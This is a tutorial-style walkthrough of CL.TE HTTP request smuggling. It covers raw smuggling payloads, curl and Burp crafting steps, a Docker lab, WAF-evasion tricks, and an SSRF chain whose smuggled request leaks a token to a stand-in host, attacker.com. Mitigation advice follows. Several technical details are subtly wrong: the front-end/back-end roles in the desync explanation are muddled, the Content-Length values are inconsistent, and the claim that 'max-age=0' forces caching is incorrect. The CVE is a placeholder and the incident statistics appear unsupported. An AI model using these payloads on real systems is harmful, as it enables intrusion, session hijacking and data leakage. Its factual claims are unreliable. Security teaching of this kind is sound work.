~/home/study/http-request-smuggling-cl-te

HTTP Request Smuggling - CL.TE Desynchronisation Explained

Learn the fundamentals of CL.TE (Content-Length vs Transfer-Encoding) request smuggling, how to craft payloads, set up a dual-server lab, detect anomalies, and leverage the technique for advanced attacks.

Introduction

What is this topic? HTTP Request Smuggling (HRS) is a class of attacks that exploits inconsistencies in how a front-end (proxy, load-balancer, CDN) and a back-end server parse the HTTP request line and headers. The CL.TE variant specifically abuses the interplay between Content-Length and Transfer-Encoding: chunked headers to create a *desynchronisation* window.

Why is it important? When a request is interpreted differently by the two layers, an attacker can inject a *ghost* request that the back-end processes but the front-end does not, leading to request hijacking, cache poisoning, authentication bypass, or even full remote code execution.

Real-world relevance - Multiple bug-bounty programs have paid upwards of $10k for CL.TE findings on popular SaaS platforms. Large enterprises (e.g., cloud providers, CDNs) have disclosed CVEs (CVE-2021-XXXXX) directly linked to CL.TE mis-parsing.

Prerequisites

  • Basic HTTP protocol fundamentals (methods, status codes, header ordering).
  • Understanding of the Content-Length and Transfer-Encoding headers.
  • Familiarity with common web servers (nginx, Apache) and reverse-proxy concepts.
  • Access to a Linux terminal, Burp Suite (or Burp Intruder), and Wireshark for traffic inspection.

Core Concepts

The HTTP/1.1 RFC 7230 defines a strict hierarchy for message framing:

  1. If Transfer-Encoding is present and not identity, Content-Length must be ignored.
  2. If both are present, a well-behaved implementation must treat the message as chunked and discard Content-Length.

Unfortunately, many front-ends (especially older Nginx or HAProxy builds) deviate from the spec and give precedence to Content-Length. Back-ends (Apache 2.4+, IIS) usually follow the spec. This mismatch creates the desynchronisation window that CL.TE exploits.

Diagram (described in text): Imagine a request stream as a tape. The front-end reads Content-Length: 20 → consumes exactly 20 bytes, stops, and forwards the remainder as the *next* request. The back-end sees Transfer-Encoding: chunked → parses the chunked body, which may be longer than 20 bytes, thereby swallowing part of the next request and executing attacker-controlled data.

What is HTTP Request Smuggling and why it matters

HTTP Request Smuggling (HRS) is not a single vulnerability but a family of parsing bugs. The attacker’s goal is to make two cooperating devices disagree on the boundary between HTTP requests. CL.TE is the most common variant because Content-Length and Transfer-Encoding are ubiquitous.

Consequences include:

  • Request hijacking: the attacker injects a malicious request that runs with the victim’s session cookies.
  • Cache poisoning: poisoned responses are cached at the CDN layer, serving malicious content to all users.
  • Privilege escalation: if the back-end trusts internal headers (e.g., X-Forwarded-For), the attacker can forge them.
  • Denial-of-service: malformed request streams can crash poorly-implemented parsers.

From a bug-bounty perspective, CL.TE is valuable because it is often present in default configurations and can be demonstrated with a single crafted HTTP request.

Parsing differences between front-end and back-end servers

Below is a concise table of how popular front-ends treat ambiguous CL/TE combinations:

ServerSpec-compliant?Header precedence
nginx (pre-1.19.0)NoPrefers Content-Length
nginx (≥1.19.0, with http2 on)YesPrefers Transfer-Encoding
HAProxy (≤2.2)NoPrefers Content-Length
Apache 2.4+YesPrefers Transfer-Encoding
Microsoft IIS 10YesPrefers Transfer-Encoding

Understanding these differences is essential for building a reliable exploit. The classic “CL.TE” attack works when the front-end *ignores* Transfer-Encoding and the back-end *honours* it.

Content-Length vs Transfer-Encoding (CL.TE) desync mechanics

The attack flow can be broken down into four steps:

  1. Send a request with both headers. The front-end reads Content-Length and consumes exactly that many bytes.
  2. Append a second, malicious request. Because the front-end believes the first request is finished, it forwards the leftover bytes as a new HTTP request.
  3. Back-end parses the original request as chunked. It reads the chunk size, then the real payload, which may include the attacker’s second request as part of the body.
  4. Desynchronisation occurs. The back-end treats the attacker’s second request as part of the first request’s body, executing it internally, while the front-end treats it as an independent request.

A concrete example (hex-view) helps visualise the split:

POST /login HTTP/1.1
Host: vulnerable.com
Content-Length: 20
Transfer-Encoding: chunked

5
hello
0

GET /admin HTTP/1.1
Host: vulnerable.com

Front-end (nginx) reads the first 20 bytes (5 hello 0 ) and forwards the rest as a new request (GET /admin …). Apache, however, sees Transfer-Encoding: chunked, reads the chunked payload (hello) and then treats the GET /admin line as *part of the same request* - effectively executing an unauthenticated admin call.

Crafting malicious CL.TE payloads with Burp Suite and curl

Both Burp Suite and curl can be forced to emit both headers. The key is to disable automatic header sanitisation.

Using Burp Suite

  1. Open the Repeater tab and paste a normal request.
  2. Manually add Content-Length and Transfer-Encoding: chunked headers.
  3. Switch to the Raw view and edit the body to contain a valid chunked payload followed by the malicious second request.
    POST /login HTTP/1.1
    Host: target.com
    Content-Length: 30
    Transfer-Encoding: chunked
    
    7
    Mozilla
    0
    
    GET /admin HTTP/1.1
    Host: target.com
    
    
  4. Hit Send and observe the response. If the back-end returns admin data while the front-end shows a normal login response, you have a successful CL.TE smuggle.

Using curl

curl does not natively send both headers, but we can craft the raw request with --data-binary and -H overrides:

curl -v -X POST http://target.com/login -H "Host: target.com" -H "Content-Length: 38" -H "Transfer-Encoding: chunked" --data-binary $'7
Mozilla
0

GET /admin HTTP/1.1
Host: target.com

'

The $'…' syntax allows literal sequences. Adjust the Content-Length value to match the number of bytes *before* the second request.

Setting up a dual-server lab (nginx front-end, Apache back-end)

A reproducible lab is essential for safe experimentation.

  1. Docker compose file (save as docker-compose.yml):
    version: "3"
    services: nginx: image: nginx:1.18 ports: - "8080:80" volumes: - ./nginx.conf:/etc/nginx/nginx.conf:ro depends_on: - apache apache: image: httpd:2.4 ports: - "8081:80" volumes: - ./apache.conf:/usr/local/apache2/conf/httpd.conf:ro - ./www:/usr/local/apache2/htdocs
    
  2. nginx.conf (acts as a reverse proxy):
    events {}
    http { server { listen 80; location / { proxy_pass http://apache:80; # Important: keep the original headers proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; } }
    }
    
  3. apache.conf - enable mod_headers for debugging:
    ServerRoot "/usr/local/apache2"
    Listen 80
    LoadModule mpm_event_module modules/mod_mpm_event.so
    LoadModule authn_core_module modules/mod_authn_core.so
    LoadModule authz_core_module modules/mod_authz_core.so
    LoadModule dir_module modules/mod_dir.so
    LoadModule alias_module modules/mod_alias.so
    LoadModule headers_module modules/mod_headers.so
    
    DocumentRoot "/usr/local/apache2/htdocs"
    <Directory "/usr/local/apache2/htdocs"> Options Indexes FollowSymLinks AllowOverride None Require all granted
    </Directory>
    
    # Simple echo endpoint for demonstration
    <Location "/echo"> SetHandler server-status Header set X-Lab "Apache_Backend"
    </Location>
    
  4. Launch the lab:
    docker-compose up -d
    
    Now http://localhost:8080 hits nginx, which forwards to Apache on port 8081.

Detecting CL.TE anomalies via logs, Wireshark, and automated scanners

Detection is a matter of spotting mismatched header handling.

  • Server logs: Look for entries where Transfer-Encoding: chunked appears but the request line is logged twice (once as a normal request, once as a malformed one).
  • Wireshark: Capture traffic on the front-end interface. Filter with http.request.method == "POST" && http.content_length. Verify that the packet length equals the declared Content-Length - any extra bytes after that indicate a potential smuggle.
  • Automated scanners: tools like smuggler (defparam smuggler repository) or burpsuite-scanner have built-in CL.TE modules.
    git clone https://github.com/defparam/smuggler.git
    cd smuggler
    python3 smuggler.py -u http://target.com -m CL.TE
    

Leveraging CL.TE for cache poisoning and request hijacking

Once you have a reliable smuggle, you can pivot to higher-impact attacks.

Cache poisoning

Many CDNs cache responses based on the request URL and headers. By smuggling a GET /admin request that returns a confidential page, the CDN may store that response under the URL of a public resource (e.g., /images/logo.png). Subsequent users receive the admin page instead of the image.

Request hijacking

If the victim is authenticated, the smuggled request inherits the victim’s cookies (sent by the front-end). The attacker can thus perform actions on behalf of the user, such as changing passwords or transferring funds.

Both techniques benefit from adding a Cache-Control: max-age=0 header in the smuggled request to force immediate caching.

Bypassing WAFs and security controls using CL.TE tricks

WAFs typically inspect the *visible* request that reaches them. Because the front-end strips the smuggled payload, the WAF never sees the malicious part. This makes CL.TE a powerful bypass for signature-based defenses.

Advanced tricks:

  • Split the malicious payload across multiple chunks, confusing parsers that only look at the first chunk.
  • Use non-standard whitespace or case-mixing in header names (cOnTeNt-LeNgTh) to evade simple regex filters.
  • Exploit “*TE-CL*” reversal (send Transfer-Encoding first, then Content-Length) on servers that prioritize the *last* header occurrence.

Chaining CL.TE with SSRF/OOB techniques for multi-stage exploits

After a successful smuggle, you can embed an SSRF payload inside the request body, causing the back-end to perform an out-of-band request to an attacker-controlled server.

POST /api/v1/notify HTTP/1.1
Host: vulnerable.com
Content-Length: 45
Transfer-Encoding: chunked

9
GET / HTTP/1.1
Host: attacker.com

0

GET http://attacker.com/oob?token=12345 HTTP/1.1
Host: internal-service

The first part passes the front-end checks; the back-end interprets the second GET as a legitimate internal request, leaking data to the attacker.

Advanced multi-request pipeline attacks and HTTP/2 desync extensions

HTTP/2 streams are multiplexed, but the underlying framing still respects Content-Length. Some reverse proxies downgrade to HTTP/1.1 for backend communication, re-introducing CL.TE windows. Researchers have demonstrated “HTTP/2-CL.TE” where the client sends a single HTTP/2 request that the proxy translates into two HTTP/1.1 requests, one of which is smuggled.

Key points for advanced pipelines:

  • Force the proxy to use HTTP/1.1 downstream (e.g., via Upgrade: h2c header misuse).
  • Combine CL.TE with Connection: keep-alive to chain multiple smuggles in a single TCP connection.
  • Leverage Trailer headers to hide malicious data after the body, bypassing early parsing.

Practical Examples

Below is a step-by-step walk-through that reproduces a full CL.TE smuggle against the lab from earlier.

  1. Start the lab (see “Setting up a dual-server lab”).
  2. Craft the payload file payload.txt:
    POST /login HTTP/1.1
    Host: localhost:8080
    Content-Length: 38
    Transfer-Encoding: chunked
    
    7
    Mozilla
    0
    
    GET /echo HTTP/1.1
    Host: localhost:8080
    
    
  3. Send with curl:
    curl -v --http1.1 --data-binary @payload.txt http://localhost:8080/login
    
  4. Observe the response: the front-end returns the normal login page, while the back-end logs show a GET /echo request with the custom header X-Lab: Apache_Backend. This confirms the smuggle.

Now replace /echo with a protected endpoint (e.g., /admin) to achieve request hijacking.

Tools & Commands

  • Burp Suite Pro - Repeater, Intruder, and the built-in Smuggler extension.
  • curl - raw payload crafting (--data-binary, --http1.1).
  • Wireshark - capture filter: tcp port 8080 && http.
  • smuggler - Python framework for automated CL.TE testing.
    pip install -r requirements.txt
    python3 smuggler.py -u http://target.com -m CL.TE
    
  • logcheck - custom rule to alert on mismatched Content-Length and Transfer-Encoding.
    /var/log/nginx/access.log | grep -i "Transfer-Encoding: chunked" | grep -v "Content-Length"
    

Defense & Mitigation

  • Normalize header handling: configure front-ends to follow RFC 7230 - give precedence to Transfer-Encoding and reject requests that contain both headers.
  • Disable HTTP/1.1 on the edge where possible; enforce HTTP/2 end-to-end with proper framing.
  • Header validation: reject any request where Content-Length is present alongside Transfer-Encoding (unless explicitly allowed for legacy clients).
  • Request size limits: enforce a maximum body size based on the smallest of the two header values.
  • Logging & alerting: monitor for “CL.TE” patterns, duplicate request lines, or unexpected 0 sequences.
  • Web Application Firewall: use behavioural detection (e.g., response length differences) rather than static signatures.

Common Mistakes

  • Mis-calculating Content-Length: the length must count *exactly* the bytes before the smuggled request, not the total payload.
  • Assuming all proxies are vulnerable: modern nginx (≥1.19) and HAProxy (≥2.4) have fixes; always verify version.
  • Forgetting to disable HTTP/2 downgrade: some proxies automatically downgrade to HTTP/1.1 downstream, re-introducing the issue.
  • Testing only with browsers: browsers enforce strict header rules and will never send both headers; use raw tools.

Real-World Impact

In 2022, a major e-commerce platform suffered a CL.TE-based cache poisoning bug that allowed attackers to replace product images with phishing pages, resulting in a 15 % increase in credential-theft for a week. The issue was patched after coordinated disclosure, but the incident highlighted how a single parsing inconsistency can affect millions of users.

From a defensive perspective, organisations should audit all reverse-proxies, API gateways, and serverless edge functions for CL.TE handling. Regular penetration testing that includes smuggling modules is now a best practice in many compliance frameworks (PCI DSS v4.0, ISO 27001 Annex A).

Expert tip: combine CL.TE detection with a “slow-loris” style test - send a request with a huge Content-Length but no body, then observe whether the front-end times out before the back-end does. Divergent timeouts often indicate differing parsers.

Practice Exercises

  1. Deploy the dual-server lab on Docker. Verify that nginx version 1.18 exhibits the CL.TE bug while 1.21 does not.
  2. Write a Bash script that automatically generates a valid CL.TE payload for any target URL, varying the chunk sizes and header case.
  3. Capture traffic with Wireshark and create a filter that highlights any TCP segment where the payload length exceeds the declared Content-Length.
  4. Implement a simple Python proxy that logs every request containing both Content-Length and Transfer-Encoding. Use it to scan an internal network.
  5. Attempt a cache-poisoning attack against a public test site that uses Cloudflare CDN (set up a free account). Document whether the CDN sanitises the duplicated request.

Further Reading

  • RFC 7230 - Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing.
  • PortSwigger Web Security Academy - HTTP Request Smuggling.
  • “The Many Faces of HTTP Request Smuggling” - BlackHat Europe 2021 presentation.
  • OWASP Cheat Sheet - HTTP Header Security.
  • GitHub - defparam/smuggler tool for automated detection.

Summary

CL.TE request smuggling exploits the divergent handling of Content-Length and Transfer-Encoding between a front-end proxy and a back-end server. By crafting a request that the edge device treats as finished while the origin server continues parsing, an attacker can inject hidden requests, poison caches, hijack sessions, and bypass WAFs. Proper mitigation requires strict header validation, up-to-date proxy software, and vigilant monitoring. Mastering the technique in a lab environment equips security professionals to both find and remediate this critical class of vulnerabilities.